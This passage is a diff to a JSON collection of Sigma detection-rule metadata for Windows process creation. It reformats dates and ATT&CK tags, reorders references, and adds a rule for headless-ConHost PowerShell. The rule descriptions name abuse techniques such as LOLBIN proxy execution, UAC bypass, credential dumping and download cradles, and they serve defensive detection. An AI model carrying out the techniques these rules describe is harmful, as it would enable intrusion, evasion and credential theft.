"attack.defense-evasion", "attack.t1216" ] }, @@ -25295,7 +25261,7 @@ "description": "Detects the execution of regini.exe which can be used to modify registry keys, the changes are imported from one or more text files.", "meta": { "author": "Eli Salem, Sander Wiebing, oscd.community", - "creation_date": "2020/10/08", + "creation_date": "2020-10-08", "falsepositive": [ "Legitimate modification of keys" ], @@ -25304,14 +25270,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Regini/", - "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regini", + "https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f", + "https://lolbas-project.github.io/lolbas/Binaries/Regini/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_execution.yml" ], "tags": [ "attack.t1112", - "attack.defense_evasion" + "attack.defense-evasion" ] }, "related": [ @@ -25330,7 +25296,7 @@ "description": "Detects suspicious child processes of \"provlaunch.exe\" which might indicate potential abuse to proxy execution.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/08", + "creation_date": "2023-08-08", "falsepositive": [ "Unknown" ], @@ -25344,7 +25310,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_provlaunch_susp_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -25364,7 +25330,7 @@ "description": "Detects suspicious powershell invocations from interpreters or unusual programs", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2019/01/16", + "creation_date": "2019-01-16", "falsepositive": [ "Microsoft Operations Manager (MOM)", "Other scripts" @@ -25398,7 +25364,7 @@ "description": "Detects file downloads directly from IP address URL using curl.exe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/10/18", + "creation_date": "2023-10-18", "falsepositive": [ "Unknown" ], @@ -25407,9 +25373,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/pr0xylife/IcedID/blob/8dd1e218460db4f750d955b4c65b2f918a1db906/icedID_09.28.2023.txt", "https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv", + "https://labs.withsecure.com/publications/fin7-target-veeam-servers", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_curl_download_direct_ip_exec.yml" ], "tags": [ @@ -25423,7 +25389,7 @@ "description": "Detects a certain command line flag combination used by mpiexec.exe LOLBIN from HPC pack that can be used to execute any other binary", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/01/11", + "creation_date": "2022-01-11", "falsepositive": [ "Unknown" ], @@ -25432,13 +25398,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/mrd0x/status/1465058133303246867", "https://learn.microsoft.com/en-us/powershell/high-performance-computing/mpiexec?view=hpc19-ps", + "https://twitter.com/mrd0x/status/1465058133303246867", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_mpiexec.yml" ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -25458,7 +25424,7 @@ "description": "Detects usage of winget to install applications via manifest file. Adversaries can abuse winget to download payloads remotely and execute them.\nThe manifest option enables you to install an application by passing in a YAML file directly to the client.\nWinget can be used to download and install exe, msi or msix files later.\n", "meta": { "author": "Sreeman, Florian Roth (Nextron Systems), frack113", - "creation_date": "2020/04/21", + "creation_date": "2020-04-21", "falsepositive": [ "Some false positives are expected in some environment that may use this functionality to install and test their custom applications" ], @@ -25467,13 +25433,13 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ + "https://lolbas-project.github.io/lolbas/Binaries/Winget/", "https://learn.microsoft.com/en-us/windows/package-manager/winget/install#local-install", "https://github.com/nasbench/Misc-Research/tree/b9596e8109dcdb16ec353f316678927e507a5b8d/LOLBINs/Winget", - "https://lolbas-project.github.io/lolbas/Binaries/Winget/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_winget_local_install_via_manifest.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.execution", "attack.t1059" ] @@ -25494,7 +25460,7 @@ "description": "Detects suspicious shell spawn from Java utility keytool process (e.g. adselfservice plus exploitation)", "meta": { "author": "Andreas Hunkeler (@Karneades)", - "creation_date": "2021/12/22", + "creation_date": "2021-12-22", "falsepositive": [ "Unknown" ], @@ -25503,14 +25469,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html", "https://redcanary.com/blog/intelligence-insights-december-2021", + "https://www.synacktiv.com/en/publications/how-to-exploit-cve-2021-40539-on-manageengine-adselfservice-plus.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_java_keytool_susp_child_process.yml" ], "tags": [ - "attack.initial_access", + "attack.initial-access", "attack.persistence", - "attack.privilege_escalation" + "attack.privilege-escalation" ] }, "uuid": "90fb5e62-ca1f-4e22-b42e-cc521874c938", @@ -25520,7 +25486,7 @@ "description": "Detects usage of \"appcmd\" to create new global URL rewrite rules. This behaviour has been observed being used by threat actors to add new rules so they can access their webshells.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/01/22", + "creation_date": "2023-01-22", "falsepositive": [ "Legitimate usage of appcmd to add new URL rewrite rules" ], @@ -25529,12 +25495,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://twitter.com/malmoeb/status/1616702107242971144", "https://learn.microsoft.com/en-us/answers/questions/739120/how-to-add-re-write-global-rule-with-action-type-r", + "https://twitter.com/malmoeb/status/1616702107242971144", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_appcmd_susp_rewrite_rule.yml" ], "tags": [ - "attack.defense_evasion" + "attack.defense-evasion" ] }, "uuid": "7c8af9b2-dcae-41a2-a9db-b28c288b5f08", @@ -25544,7 +25510,7 @@ "description": "Detects base64 encoded .NET reflective loading of Assembly", "meta": { "author": "Christian Burkard (Nextron Systems), pH-T (Nextron Systems)", - "creation_date": "2022/03/01", + "creation_date": "2022-03-01", "falsepositive": [ "Unlikely" ], @@ -25553,14 +25519,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", + "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_reflection_assembly_load.yml" ], "tags": [ "attack.execution", "attack.t1059.001", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027", "attack.t1620" ] @@ -25595,7 +25561,7 @@ "description": "Detects Certify a tool for Active Directory certificate abuse based on PE metadata characteristics and common command line arguments.", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2023/04/17", + "creation_date": "2023-04-17", "falsepositive": [ "Unknown" ], @@ -25609,7 +25575,7 @@ ], "tags": [ "attack.discovery", - "attack.credential_access", + "attack.credential-access", "attack.t1649" ] }, @@ -25629,7 +25595,7 @@ "description": "Detects suspicious child processes of \"BgInfo.exe\" which could be a sign of potential abuse of the binary to proxy execution via external VBScript", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/16", + "creation_date": "2023-08-16", "falsepositive": [ "Unknown" ], @@ -25638,14 +25604,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/", "https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/", + "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bginfo_suspicious_child_process.yml" ], "tags": [ "attack.execution", "attack.t1059.005", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218", "attack.t1202" ] @@ -25680,7 +25646,7 @@ "description": "Detects the execution of \"Wlrmdr.exe\" with the \"-u\" command line flag which allows anything passed to it to be an argument of the ShellExecute API, which would allow an attacker to execute arbitrary binaries.\nThis detection also focuses on any uncommon child processes spawned from \"Wlrmdr.exe\" as a supplement for those that posses \"ParentImage\" telemetry.\n", "meta": { "author": "frack113, manasmbellani", - "creation_date": "2022/02/16", + "creation_date": "2022-02-16", "falsepositive": [ "Unknown" ], @@ -25689,12 +25655,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Wlrmdr/", "https://twitter.com/0gtweet/status/1493963591745220608?s=20&t=xUg9DsZhJy1q9bPTUWgeIQ", + "https://lolbas-project.github.io/lolbas/Binaries/Wlrmdr/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wlrmdr_uncommon_child_process.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -25714,7 +25680,7 @@ "description": "Detects the execution of the \"net use\" command to mount a WebDAV server and then immediately execute some content in it. As seen being used in malicious LNK files", "meta": { "author": "pH-T (Nextron Systems)", - "creation_date": "2022/09/01", + "creation_date": "2022-09-01", "falsepositive": [ "Unknown" ], @@ -25723,8 +25689,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior", "https://twitter.com/ShadowChasing1/status/1552595370961944576", + "https://www.virustotal.com/gui/file/a63376ee1dba76361df73338928e528ca5b20171ea74c24581605366dcaa0104/behavior", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_net_use_and_exec_combo.yml" ], "tags": [ @@ -25748,7 +25714,7 @@ "description": "Detects the use of Tor or Tor-Browser to connect to onion routing networks", "meta": { "author": "frack113", - "creation_date": "2022/02/20", + "creation_date": "2022-02-20", "falsepositive": [ "Unknown" ], @@ -25761,7 +25727,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browsers_tor_execution.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.t1090.003" ] }, @@ -25781,7 +25747,7 @@ "description": "Threat actors can use auditpol binary to change audit policy configuration to impair detection capability.\nThis can be carried out by selectively disabling/removing certain audit policies as well as restoring a custom policy owned by the threat actor.\n", "meta": { "author": "Janantha Marasinghe (https://github.com/blueteam0ps)", - "creation_date": "2021/02/02", + "creation_date": "2021-02-02", "falsepositive": [ "Administrator or administrator scripts might leverage the flags mentioned in the detection section. Either way, it should always be monitored" ], @@ -25794,7 +25760,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_auditpol_susp_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1562.002" ] }, @@ -25814,7 +25780,7 @@ "description": "Detects child processes of \"provlaunch.exe\" which might indicate potential abuse to proxy execution.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), Swachchhanda Shrawan Poudel", - "creation_date": "2023/08/08", + "creation_date": "2023-08-08", "falsepositive": [ "Unknown" ], @@ -25828,7 +25794,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_provlaunch_potential_abuse.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -25848,7 +25814,7 @@ "description": "Detects a copy command or a copy utility execution to or from an Admin share or remote", "meta": { "author": "Florian Roth (Nextron Systems), oscd.community, Teymur Kheirkhabarov @HeirhabarovT, Zach Stanford @svch0st, Nasreddine Bencherchali", - "creation_date": "2019/12/30", + "creation_date": "2019-12-30", "falsepositive": [ "Administrative scripts" ], @@ -25857,14 +25823,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html", "https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view", - "https://twitter.com/SBousseaden/status/1211636381086339073", + "https://www.elastic.co/guide/en/security/current/remote-file-copy-to-a-hidden-share.html", "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", + "https://twitter.com/SBousseaden/status/1211636381086339073", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_copy_lateral_movement.yml" ], "tags": [ - "attack.lateral_movement", + "attack.lateral-movement", "attack.collection", "attack.exfiltration", "attack.t1039", @@ -25902,7 +25868,7 @@ "description": "Detects the execution of the LOLBIN gpscript, which executes logon or startup scripts configured in Group Policy", "meta": { "author": "frack113", - "creation_date": "2022/05/16", + "creation_date": "2022-05-16", "falsepositive": [ "Legitimate uses of logon scripts distributed via group policy" ], @@ -25916,7 +25882,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_gpscript.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -25936,7 +25902,7 @@ "description": "Detects execution of \"odbcconf\" with \"REGSVR\" in order to register a new DLL (equivalent to running regsvr32). Attackers abuse this to install and run malicious DLLs.", "meta": { "author": "Kirill Kiryanov, Beyu Denis, Daniil Yugoslavskiy, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/05/22", + "creation_date": "2023-05-22", "falsepositive": [ "Legitimate DLLs being registered via \"odbcconf\" will generate false positives. Investigate the path of the DLL and its content to determine if the action is authorized." ], @@ -25948,13 +25914,13 @@ "https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html", "https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16", "https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/", - "https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176", "https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/", "https://redcanary.com/blog/raspberry-robin/", + "https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_odbcconf_register_dll_regsvr.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.008" ] }, @@ -25974,7 +25940,7 @@ "description": "Detects the execution of the certutil with the \"exportPFX\" flag which allows the utility to export certificates.", "meta": { "author": "Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community, Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/15", + "creation_date": "2023-02-15", "falsepositive": [ "There legitimate reasons to export certificates. Investigate the activity to determine if it's benign" ], @@ -25987,7 +25953,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_export_pfx.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027" ] }, @@ -26007,7 +25973,7 @@ "description": "Detects usage of Gpg4win to encrypt files", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/08/09", + "creation_date": "2023-08-09", "falsepositive": [ "Unknown" ], @@ -26016,9 +25982,9 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.gpg4win.de/documentation.html", "https://news.sophos.com/en-us/2022/01/19/zloader-installs-remote-access-backdoors-and-delivers-cobalt-strike/", "https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html", + "https://www.gpg4win.de/documentation.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gpg4win_encryption.yml" ], "tags": [ @@ -26032,7 +25998,7 @@ "description": "Detects the dump of highly sensitive files such as \"NTDS.DIT\" and \"SECURITY\" hive.\nAttackers can leverage the \"wbadmin\" utility in order to dump sensitive files that might contain credential or sensitive information.\n", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems), frack113", - "creation_date": "2024/05/10", + "creation_date": "2024-05-10", "falsepositive": [ "Unknown" ], @@ -26041,14 +26007,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery", "https://lolbas-project.github.io/lolbas/Binaries/Wbadmin/", - "https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Wbadmin.yml", "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-backup", + "https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-start-recovery", + "https://github.com/LOLBAS-Project/LOLBAS/blob/2cc01b01132b5c304027a658c698ae09dd6a92bf/yml/OSBinaries/Wbadmin.yml", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wbadmin_restore_sensitive_files.yml" ], "tags": [ - "attack.credential_access", + "attack.credential-access", "attack.t1003.003" ] }, @@ -26068,7 +26034,7 @@ "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/09", + "creation_date": "2022-09-09", "falsepositive": [ "Unlikely" ], @@ -26077,12 +26043,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://learn.microsoft.com/en-us/powershell/module/pki/import-certificate?view=windowsserver2022-ps", + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_import_cert_susp_locations.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1553.004" ] }, @@ -26102,7 +26068,7 @@ "description": "Detects WmiPrvSE spawning a process", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g", - "creation_date": "2019/08/15", + "creation_date": "2019-08-15", "falsepositive": [ "False positives are expected (e.g. in environments where WinRM is used legitimately)" ], @@ -26135,7 +26101,7 @@ "description": "Detects the execution of rundll32 with a command line that doesn't contain a common extension", "meta": { "author": "Tim Shelton, Florian Roth (Nextron Systems), Yassine Oukessou", - "creation_date": "2022/01/13", + "creation_date": "2022-01-13", "falsepositive": [ "Unknown" ], @@ -26148,7 +26114,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_uncommon_dll_extension.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218.011" ] }, @@ -26168,7 +26134,7 @@ "description": "Detects the start of a non built-in assistive technology applications via \"Atbroker.EXE\".", "meta": { "author": "Mateusz Wydra, oscd.community", - "creation_date": "2020/10/12", + "creation_date": "2020-10-12", "falsepositive": [ "Legitimate, non-default assistive technology applications execution" ], @@ -26177,12 +26143,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", "http://www.hexacorn.com/blog/2016/07/22/beyond-good-ol-run-key-part-42/", + "https://lolbas-project.github.io/lolbas/Binaries/Atbroker/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_atbroker_uncommon_ats_execution.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -26202,7 +26168,7 @@ "description": "Detects the pattern of UAC Bypass using scheduled tasks and variable expansion of cleanmgr.exe (UACMe 34)", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/08/30", + "creation_date": "2021-08-30", "falsepositive": [ "Unknown" ], @@ -26215,8 +26181,8 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_cleanmgr.yml" ], "tags": [ - "attack.defense_evasion", - "attack.privilege_escalation", + "attack.defense-evasion", + "attack.privilege-escalation", "attack.t1548.002" ] }, @@ -26236,7 +26202,7 @@ "description": "Detects execution of the Add-In deployment cache updating utility (AddInutil.exe) from a non-standard directory.", "meta": { "author": "Michael McKinley (@McKinleyMike), Tony Latteri (@TheLatteri)", - "creation_date": "2023/09/18", + "creation_date": "2023-09-18", "falsepositive": [ "Unknown" ], @@ -26249,7 +26215,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_addinutil_uncommon_dir_exec.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1218" ] }, @@ -26269,7 +26235,7 @@ "description": "Detects events that appear when a user click on a link file with a powershell command in it", "meta": { "author": "frack113", - "creation_date": "2022/02/06", + "creation_date": "2022-02-06", "falsepositive": [ "Legitimate commands in .lnk files" ], @@ -26302,7 +26268,7 @@ "description": "Detects actions caused by the RedMimicry Winnti playbook a automated breach emulations utility", "meta": { "author": "Alexander Rausch", - "creation_date": "2020/06/24", + "creation_date": "2020-06-24", "falsepositive": [ "Unknown" ], @@ -26316,7 +26282,7 @@ ], "tags": [ "attack.execution", - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1106", "attack.t1059.003", "attack.t1218.011" @@ -26352,7 +26318,7 @@ "description": "Detects suspicious ways to download files or content using PowerShell", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/03/24", + "creation_date": "2022-03-24", "falsepositive": [ "Scripts or tools that download files" ], @@ -26365,7 +26331,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_cradles.yml" ], "tags": [ - "attack.command_and_control", + "attack.command-and-control", "attack.execution", "attack.t1059.001", "attack.t1105" @@ -26394,7 +26360,7 @@ "description": "Detects potential evasion or obfuscation attempts using bogus path traversal via the commandline", "meta": { "author": "Christian Burkard (Nextron Systems)", - "creation_date": "2021/10/26", + "creation_date": "2021-10-26", "falsepositive": [ "Google Drive", "Citrix" @@ -26409,7 +26375,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_commandline_path_traversal_evasion.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1036" ] }, @@ -26429,7 +26395,7 @@ "description": "Detects an interactive AT job, which may be used as a form of privilege escalation.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "creation_date": "2019/10/24", + "creation_date": "2019-10-24", "falsepositive": [ "Unlikely (at.exe deprecated as of Windows 8)" ], @@ -26443,7 +26409,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_at_interactive_execution.yml" ], "tags": [ - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1053.002" ] }, @@ -26463,7 +26429,7 @@ "description": "Detects the use of DefenderCheck, a tool to evaluate the signatures used in Microsoft Defender. It can be used to figure out the strings / byte chains used in Microsoft Defender to detect a tool and thus used for AV evasion.", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2022/08/30", + "creation_date": "2022-08-30", "falsepositive": [ "Unlikely" ], @@ -26476,7 +26442,7 @@ "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_defendercheck.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1027.005" ] }, @@ -26496,7 +26462,7 @@ "description": "Detects Powershell as a child of the WmiPrvSE process. Which could be a sign of lateral movement via WMI.", "meta": { "author": "Markus Neis @Karneades", - "creation_date": "2019/04/03", + "creation_date": "2019-04-03", "falsepositive": [ "AppvClient", "CCM", @@ -26539,7 +26505,7 @@ "description": "Detects usage of the Get-ADUser cmdlet to collect user information and output it to a file", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2022/09/09", + "creation_date": "2022-09-09", "falsepositive": [ "Legitimate admin scripts may use the same technique, it's better to exclude specific computers or users who execute these commands or scripts often" ], @@ -26548,8 +26514,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html", + "https://www.microsoft.com/en-us/security/blog/2022/10/18/defenders-beware-a-case-for-post-ransomware-investigations/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_user_discovery_get_aduser.yml" ], "tags": [ @@ -26573,7 +26539,7 @@ "description": "Detect filter driver unloading activity via fltmc.exe", "meta": { "author": "Nasreddine Bencherchali (Nextron Systems)", - "creation_date": "2023/02/13", + "creation_date": "2023-02-13", "falsepositive": [ "Unknown" ], @@ -26582,12 +26548,12 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon", "https://www.cybereason.com/blog/threat-analysis-report-lockbit-2.0-all-paths-lead-to-ransom", + "https://www.darkoperator.com/blog/2018/10/5/operating-offensively-against-sysmon", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_fltmc_unload_driver.yml" ], "tags": [ - "attack.defense_evasion", + "attack.defense-evasion", "attack.t1070", "attack.t1562", "attack.t1562.002" @@ -26619,11 +26585,52 @@ "uuid": "4931188c-178e-4ee7-a348-39e8a7a56821", "value": "Filter Driver Unloaded Via Fltmc.EXE" }, + { + "description": "Detects the use of powershell commands from headless ConHost window.\nThe \"--headless\" flag hides the windows from the user upon execution.\n", + "meta": { + "author": "Matt Anderson (Huntress)", + "creation_date": "2024-07-23", + "falsepositive": [ + "Unknown" + ], + "filename": "proc_creation_win_conhost_headless_powershell.yml", + "level": "medium", + "logsource.category": "process_creation", + "logsource.product": "windows", + "refs": [ + "https://www.huntress.com/blog/fake-browser-updates-lead-to-boinc-volunteer-computing-software", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_conhost_headless_powershell.yml" + ], + "tags": [ + "attack.defense-evasion", + "attack.t1059.001", + "attack.t1059.003" + ] + }, + "related": [ + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + }, + { + "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "related-to" + } + ], + "uuid": "056c7317-9a09-4bd4-9067-d051312752ea", + "value": "Powershell Executed From Headless ConHost Process" + }, { "description": "Detects the execution of whoami that has been renamed to a different name to avoid detection", "meta": { "author": "Florian Roth (Nextron Systems)", - "creation_date": "2021/08/12", + "creation_date": "2021-08-12", "falsepositive": [ "Unknown" ], @@ -26632,8 +26639,8 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", + "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_whoami.yml" ], "tags": [ @@ -26658,7 +26665,7 @@ "description": "Detects commandline keywords indicative of potential usge of the tool WinPwn. A tool for Windows and Active Directory reconnaissance and exploitation.\n", "meta": { "author": "Swachchhanda Shrawan Poudel", - "creation_date": "2023/12/04", + "creation_date": "2023-12-04", "falsepositive": [ "Unknown" ], @@ -26667,19 +26674,19 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - "https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/", - "https://github.com/S3cur3Th1sSh1t/WinPwn", + "https://grep.app/search?q=winpwn&filter[repo][0]=redcanaryco/atomic-red-team", "https://www.publicnow.com/view/EB87DB49C654D9B63995FAD4C9DE3D3CC4F6C3ED?1671634841", + "https://github.com/S3cur3Th1sSh1t/WinPwn", "https://github.com/redcanaryco/atomic-red-team/blob/4d6c4e8e23d465af7a2388620cfe3f8c76e16cf0/atomics/T1082/T1082.md", - "https://grep.app/search?q=winpwn&filter[repo][0]=redcanaryco/atomic-red-team", + "https://reconshell.com/winpwn-tool-for-internal-windows-pentesting-and-ad-security/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_winpwn.yml" ], "tags": [ - "attack.credential_access", - "attack.defense_evasion", + "attack.credential-access", + "attack.defense-evasion", "attack.discovery", "attack.execution", - "attack.privilege_escalation", + "attack.privilege-escalation", "attack.t1046", "attack.t1082", "attack.t1106", @@ -26755,7 +26762,7 @@ "description": "Detection of child processes spawned with SYSTEM privileges by parents with LOCAL SERVICE or NETWORK SERVICE accounts", "meta": { "author": "Teymur Kheirkhabarov, Roberto Rodriguez (@Cyb3rWard0g), Open Threat Research (OTR)", - "creation_date": "2019/10/26", + "creation_date": "2019-10-26", "falsepositive": [ "Unknown" ], @@ -26764,14 +26771,14 @@ "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ - 